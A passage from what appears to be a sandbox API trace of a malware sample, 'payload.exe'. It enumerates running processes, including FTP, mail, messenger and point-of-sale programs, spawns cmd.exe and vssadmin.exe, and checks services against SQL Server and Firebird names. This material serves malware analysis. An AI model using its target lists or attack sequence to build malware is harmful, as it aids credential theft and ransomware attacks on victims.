th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0074.337] lstrlenW (lpString="3dftp.exe") returned 9 [0074.337] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0074.337] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0074.337] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0074.338] lstrlenW (lpString="alftp.exe") returned 9 [0074.338] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0074.338] lstrlenW (lpString="barca.exe") returned 9 [0074.339] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0074.339] lstrlenW (lpString="bitkinex.exe") returned 12 [0074.339] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0074.340] lstrlenW (lpString="coreftp.exe") returned 11 [0074.340] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0074.340] lstrlenW (lpString="far.exe") returned 7 [0074.340] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0074.341] lstrlenW (lpString="filezilla.exe") returned 13 [0074.341] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0074.341] lstrlenW (lpString="flashfxp.exe") returned 12 [0074.341] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0074.342] lstrlenW (lpString="fling.exe") returned 9 [0074.342] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0074.342] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0074.342] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0074.343] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0074.343] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0074.343] lstrlenW (lpString="icq.exe") returned 7 [0074.343] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0074.344] lstrlenW (lpString="leechftp.exe") returned 12 [0074.344] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0074.345] lstrlenW (lpString="ncftp.exe") returned 9 [0074.345] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0074.345] lstrlenW (lpString="notepad.exe") returned 11 [0074.346] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0074.346] lstrlenW (lpString="operamail.exe") returned 13 [0074.346] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0074.348] lstrlenW (lpString="pidgin.exe") returned 10 [0074.348] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0074.349] lstrlenW (lpString="scriptftp.exe") returned 13 [0074.349] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0074.350] lstrlenW (lpString="skype.exe") returned 9 [0074.350] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0074.351] lstrlenW (lpString="smartftp.exe") returned 12 [0074.351] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0074.351] lstrlenW (lpString="thunderbird.exe") returned 15 [0074.351] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0074.352] lstrlenW (lpString="totalcmd.exe") returned 12 [0074.352] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0074.353] lstrlenW (lpString="trillian.exe") returned 12 [0074.353] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0074.354] lstrlenW (lpString="webdrive.exe") returned 12 [0074.354] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0074.354] lstrlenW (lpString="whatsapp.exe") returned 12 [0074.355] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0074.355] lstrlenW (lpString="winscp.exe") returned 10 [0074.355] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0074.356] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0074.356] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0074.357] lstrlenW (lpString="active-charge.exe") returned 17 [0074.357] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0074.358] lstrlenW (lpString="accupos.exe") returned 11 [0074.358] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0074.358] lstrlenW (lpString="afr38.exe") returned 9 [0074.358] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0074.359] lstrlenW (lpString="aldelo.exe") returned 10 [0074.359] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0074.360] lstrlenW (lpString="ccv_server.exe") returned 14 [0074.360] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0074.361] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0074.361] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0074.361] lstrlenW (lpString="creditservice.exe") returned 17 [0074.361] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0074.362] lstrlenW (lpString="edcsvr.exe") returned 10 [0074.362] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0074.677] lstrlenW (lpString="fpos.exe") returned 8 [0074.677] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0074.678] lstrlenW (lpString="isspos.exe") returned 10 [0074.678] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0074.679] lstrlenW (lpString="mxslipstream.exe") returned 16 [0074.679] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0074.679] lstrlenW (lpString="omnipos.exe") returned 11 [0074.679] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0074.680] lstrlenW (lpString="spcwin.exe") returned 10 [0074.680] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0074.681] lstrlenW (lpString="spgagentservice.exe") returned 19 [0074.681] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0074.682] lstrlenW (lpString="utg2.exe") returned 8 [0074.682] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0074.682] lstrlenW (lpString="slope.exe") returned 9 [0074.682] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0074.683] lstrlenW (lpString="entered.exe") returned 11 [0074.683] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0074.684] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0074.684] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0074.684] lstrlenW (lpString="attach.exe") returned 10 [0074.684] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0074.685] lstrlenW (lpString="obligations.exe") returned 15 [0074.685] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.685] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.686] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.686] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.686] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.687] lstrlenW (lpString="taskhost.exe") returned 12 [0074.687] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0074.687] lstrlenW (lpString="payload.exe") returned 11 [0074.687] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.688] lstrlenW (lpString="cmd.exe") returned 7 [0074.688] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.689] lstrlenW (lpString="conhost.exe") returned 11 [0074.689] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0074.689] lstrlenW (lpString="vssadmin.exe") returned 12 [0074.689] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0074.690] lstrlenW (lpString="VSSVC.exe") returned 9 [0074.691] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.691] lstrlenW (lpString="svchost.exe") returned 11 [0074.691] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0074.692] CloseHandle (hObject=0x1ac) returned 1 [0074.692] Sleep (dwMilliseconds=0x1f4) [0075.992] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6268c0 [0075.992] EnumServicesStatusExW (in: hSCManager=0x6268c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0075.993] GetLastError () returned 0xea [0075.993] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0075.993] EnumServicesStatusExW (in: hSCManager=0x6268c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0075.994] CloseServiceHandle (hSCObject=0x6268c0) returned 1 [0075.994] lstrlenW (lpString="Appinfo") returned 7 [0075.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0075.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0075.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0075.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0075.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0075.994] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0075.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0075.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0075.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0075.994] lstrlenW (lpString="AudioSrv") returned 8 [0075.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0075.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0075.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0075.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0075.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0075.994] lstrlenW (lpString="BFE") returned 3 [0075.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0075.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0075.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0075.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0075.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0075.994] lstrlenW (lpString="CryptSvc") returned 8 [0075.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0075.995] lstrlenW (lpString="CscService") returned 10 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0075.995] lstrlenW (lpString="DcomLaunch") returned 10 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0075.995] lstrlenW (lpString="Dhcp") returned 4 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0075.995] lstrlenW (lpString="Dnscache") returned 8 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 